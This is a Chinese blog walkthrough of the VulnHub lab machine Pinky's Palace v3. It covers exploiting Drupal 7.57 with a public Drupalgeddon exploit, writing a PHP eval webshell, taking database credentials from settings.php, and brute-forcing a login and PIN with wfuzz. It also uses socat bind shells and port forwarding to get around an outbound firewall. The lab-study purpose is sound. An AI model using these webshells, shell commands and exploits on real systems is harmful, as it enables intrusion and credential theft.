首页 > 其他分享 >vulnhub-Pinky's Palace v3

vulnhub-Pinky's Palace v3

时间:2023-12-04 13:47:54浏览次数:50  
标签:1.155 端口 192.168 Pinky v3 vulnhub rb socat php

在夏令营做的一个靶机,还是挺有意思的,也就做了我一天而已(菜没办法),这个靶机是当时夏令营老师布置的一道题,但是后面实在不会做就去网上搜了wp,才知道原型是Pinky's Palace v3。

Pinky's Palace v3

(flag在文章尾)

打开靶机和kali,将靶机和kali设为同一网段。

nmap扫到靶机ip为

kali:192.168.1.138
靶机:192.168.1.155

rce

发现靶机的8000、3333、21端口开着,于是访问192.168.1.155:8000(3333端口无法访问)。是一个drupal的登录页面,尝试注册登录发现无法登录。于是爆破路径,发现了很多文件,找了一个有价值的文件:CHANGELOG.txt,内容是drupal的版本是7.57。

于是在kali上使用命令searchsploit查看对应的exp

searchsploit drupal 7.57

-------------------------------------- ---------------------------------
 Exploit Title                        |  Path
-------------------------------------- ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Auth | php/webapps/44542.txt
Drupal < 7.58 - 'Drupalgeddon3' (Auth | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Auth | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 -  | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 -  | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 -  | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful  | php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful  | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Mod | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote C | php/webapps/46459.py
-------------------------------------- ---------------------------------
Shellcodes: No Results

选择44449.rb来作为本次的exp,文件下载地址 https://www.exploit-db.com/exploits/44449
下载完后执行ruby 44449.rb,如果有报错就在下载好的目录执行以下命令:

sudo gem install highline

执行完后就不会报错了。执行命令连接shell:

ruby 44449.rb http://192.168.1.155:8000

还有一种方法就是利用CVE-2018-7600漏洞来执行,exp地址:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py
但是它弹不回来shell,只能执行命令然后返回,所以要利用一会要讲到的socat建立连接,因为这里我没有成功所以就不讲述了,具体做法可以参考网上的做法,或者可以根据接下来我讲的socat的用法来利用。

接下来我这里讲一下我第一次做的时候:

首先同样是百度找到了exp,但是不是44449.rb,而是找的一个比较简陋的exp连接。连接上之后可以查看目录,发现目录下有一个shell.php:

<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }

这不就是一个后门吗,于是我访问shell.php,然后尝试在当前目录写了一个后门1.php(因为蚁剑无法连接shell.php):

<?php eval(\$_POST['cmd']);?>

发现居然写入成功了,于是蚁剑连接,在当前目录就发现了flag2.txt。

然后在漫长的查找之后,找到了flag1.txt,在/srv/ftp/.../.bak/下,还有一个firewall.sh,打开发现就是一些命令:

#!/bin/bash
#FIREWALL

iptables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
ip6tables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP

大概意思就是无法反弹shell,所以之前我试了无法反弹shell就是因为防火墙的缘故。

其实上述还说到nmap扫出来过21端口,也就是ftp服务,我们可以登录ftp

ftp 192.168.1.155
// 他这里显示要匿名登录

┌──(root㉿Mao)-[~/桌面]
└─# ftp 192.168.1.155
Connected to 192.168.1.155.
220 Pinky's FTP
Name (192.168.1.155:root): anonymous
// anonymous是匿名的意思,密码留空
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

登录上之后,可以查看当前目录下有什么文件,发现了WELCOME文件,这个文件不重要,主要是要用ls -a查看隐藏文件'...',下载到本地

get ...

内容跟上面是一样的,但是这里我本地没下载成功,可能是我kali不行了。

回到蚁剑,刚刚说了拿到了普通用户的权限,蚁剑可以看到文件目录,也可以获取数据库的数据,当然了需要账户密码。于是我百度了一下说:site/default/settings.php文件比较重要,于是访问后找到了mysqli数据库的账户密码

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'dpink',
      'password' => 'drupink',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

于是连上数据库,drupal数据库,users表,发现了一个用户pinkadmin,但是密码是加密的

pinkadmin
$S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup

至此基本的数据找的差不多了,接下来切换其他用户。

socat

socat是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版。的确如此,它有一些netcat所不具备却又很有需求的功能,例如ssl连接这种。nc可能是因为比较久没有维护,确实显得有些陈旧了。

具体的用法可以参考百度,这里只介绍一些比较常用的命令:

// 监听
靶机:socat TCP-LISTEN:12345 -			开启端口监听
攻击:socat tcp:192.168.1.1:12345 -		远程访问目的IP指定端口

// 反弹shell
靶机:socat TCP-LISTEN:12345 EXEC:/bin/bash
攻击:socat tcp:192.168.1.1:12345 -

// 端口映射
socat TCP-LISTEN:88,fork TCP:1.15.139.205:8888		将8888端口映射到88端口
echo “test” | socat tcp-connect:127.0.0.1:88 -   	向本地指定端口发送信息

上面知道了靶机是有防火墙的,有些端口是无法扫出来的,但是不代表没有,于是在shell里输入:

netstat -tunlpa
// 查看当前主机的端口开放情况

发现80和65334端口开着,但是不开放,于是就要利用socat来绕过防火墙映射端口。

在shell上执行:

socat TCP-LISTEN:4499,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:4488,fork TCP:127.0.0.1:65334 &

// 将80端口映射到4499端口,将65334端口映射到4488端口

执行完后浏览器访问http://192.168.1.155:4499和http://192.168.1.155:4488

65334端口没什么东西,主要是80端口,出现了登陆页面。如果要爆破的话需要花很多时间,而且不一定成功,于是先进行信息收集。扫描当前目录的文件,扫出来pwns.db,看起来像密码的东西:

FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
pinkyspass
consoleadmin
administrator
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
pinksec133754

用户名可以进行猜测(刚刚蚁剑的home下可以看到三个账户,数据库里也有一个账户)

pink
pinksec
pinky
pinksecmanagement
pinkadmin

网页登录还有一个参数pin,可以先随便设一个值,一会再来爆破,先爆破账户密码:

wfuzz -c -z file,./user.txt -z file,./pass.txt -d "user=FUZZ&pass=FUZ2Z&pin=33221" --hh 45 -u http://192.168.1.155:4499/login.php

wfuzz 参数说明:
-c 用颜色输出,如果不加,那么输出的是没有任何颜色
-z 指定有效的payload(类型,参数,编码,字典等)
-d 指定提交的POST数据,一遍是POST请求的data数据 这里指的就是 'user=FUZZ&pass=FUZ2Z&pin=33221'
-hh 表示隐藏字符的响应信息 本例子中账户密码错误的显示响应的字符是45,正确的是显示41

爆破出来的账号密码是:

pinkadmin
AaPinkSecaAdmin4467

接下来爆破pin值(网页提示了pin是一个五位数的数字):

wfuzz -c -z file,./pin.txt -d 'user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ' --hh 45,41 -u http://192.168.1.155:4499/login.php

爆破出来是:23081,于是登录跳转到另一个页面。

发现是一个命令执行页面,可以执行系统命令,这里同样利用socat建立连接

// 在执行框里输入
socat TCP-LISTEN:1688,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

// 在kali输入
socat FILE:`tty`,raw,echo=0 TCP:192.168.1.155:1688

于是服务器的终端就连接上了

┌──(root㉿Mao)-[~]
└─# socat FILE:`tty`,raw,echo=0 TCP:192.168.1.155:1688
pinksec@FormatWorld:/home/pinksec/html/PinkysC0n7r0lP4n31337$

whoami查看发现是pinksec用户,于是通过查找在/home/pinksec/bin下找到了flag3.txt文件,同样还发现了pinksecd文件,运行后来到另一个终端,whoami查看当前用户是pinksecmanagement用户,于是查找在/home/pinksecmanage下找到了flag4.txt。

至此这台靶机全部的flag都被找完了,没有涉及到提权的东西,否则更有意思,最后几步倒是常规,socat那里比较重点,没有socat还真不知道怎么做。本次主要还是学习socat的用法,功能挺强大的。

CVE-2018-7600exp:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py

flag如下

flag1{FireWallnoSYN!}
flag2{WebVulnisDrupal!!}
flag3{ThisisDepentment!!!}
flag4{sshportis5555!!!!}

标签:1.155,端口,192.168,Pinky,v3,vulnhub,rb,socat,php
From: https://www.cnblogs.com/y2xsec/p/17871803.html

相关文章

  • Vulnhub-DevGuru-1(靶机玩乐2023-12-1_已完成)
    靶机下载地址:https://www.vulnhub.com/entry/devguru-1,620/第一步:NMAPmap-p--sV-sC-A192.168.177.131-oAnmap_devguru 扫描结果显示目标开放了22、80、8585端口  得到backend为OctoberCMS后台登录界面 第二步:.git源码泄露分析git信息泄露分析:https://g......
  • 【Vulnhub 靶场】【DriftingBlues: 9 (final)】【简单】【20210509】
    1、环境介绍靶场介绍:https://www.vulnhub.com/entry/driftingblues-9-final,695/靶场下载:https://download.vulnhub.com/driftingblues/driftingblues9.ova靶场难度:简单发布日期:2021年05月09日文件大小:738MB靶场作者:tasiyanci靶场描述:getflags打靶耗时:2+小时打靶关键:......
  • Vulnhub DomDom-1(靶机玩乐2023-11-30)
    靶机下载地址:https://www.vulnhub.com/entry/domdom-1,328/第一步:扫一下同网段接口IP: 第二步:nmap扫描版本端口详细信息并输出  第三步:访问80端口服务 第四步:简单做做dirb目录遍历,也可以安装gobuster等做目录扫描:https://blog.csdn.net/qq_22597955/article/details......
  • 【Vulnhub 靶场】【Coffee Addicts: 1】【简单-中等】【20210520】
    1、环境介绍靶场介绍:https://www.vulnhub.com/entry/coffee-addicts-1,699/靶场下载:https://download.vulnhub.com/coffeeaddicts/coffeeaddicts.ova靶场难度:简单-中等发布日期:2021年5月20日文件大小:1.3GB靶场作者:BadByte靶场描述:我们的咖啡店被黑客入侵了!!你能修复......
  • 运维平台 WGCLOUD v3.4.9 支持配置告警恢复通知脚本
    WGCLOUD在v3.4.9版本新增一个特性就是可以配置告警恢复脚本,这样如果有恢复通知,就会通过这个脚本发送。告警通知还是通过告警脚本来发送这样可以更好的区分处理告警消息告警恢复脚本不是必须配置的,如果配置了告警恢复脚本,那么此脚本只会发送恢复通知,不会发送告警通知消息使用场景,......
  • ESP 8266 RELAY V3 调试说明
    ESP8266继电器模块V3是一个非常方便的设备,可以用于控制各种类型的继电器。以下是调试该模块的一些说明:连接设备:首先,将ESP8266继电器模块V3连接到计算机或其他调试设备上。您可以使用USB转TTL串口线来连接设备。确保正确连接并给设备上电。配置设备:在开始调试之前,您需要配置ESP8266......
  • 基于CH32V307的组播应用
    概述组播是主机间一对多的通讯模式,组播是一种允许一个或多个组播源发送同一报文到多个接收者的技术。组播源将一份报文发送到特定的组播地址,组播地址不同于单播地址,它并不属于特定某个主机,而是属于一组主机。一个组播地址表示一个群组,需要接收组播报文的接收者都加入这个群组。......
  • 版本升级 | v3.0.0卷起来了!多种特殊情况解析轻松拿捏!
    在过往发行版的基础上,结合社区用户提供的大量反馈及研发小伙伴的积极探索,项目组对OpenSCA的解析引擎做了全方位的优化,v3.0.0版本正式发布啦~感谢所有用户的支持和信任~是很多人的一小步聚在一起带着我们的OpenSCA走出了这一大步。之后,也希望越来越多的朋友可以和我们一起建设开源......
  • CF909 div3
    CF909div3A.GamewithIntegers题意两人博弈,给出一个数字,每人每次可以选择令该数字+1或者-1。如果在10步以内可以令数字为3的倍数,先手胜。否则后手胜。数据范围多组数据,\(1<=T<=100,1<=n<=1000\)题解后手可以恢复现场,所以先手最多只能有效操作1次。若+1或者-1......
  • Vulnhub靶场--NAPPING: 1.0.1
    环境配置靶机连接攻击者主机IP:192.168.47.145目标主机IP:192.168.47.13信息搜集扫描目标主机,发现目标主机开放了22和80端口┌──(kali㉿kali)-[~]└─$sudonmap-sV-sT-A-p-172.18.53.13[sudo]passwordforkali:StartingNmap7.94(https://nmap.org)at202......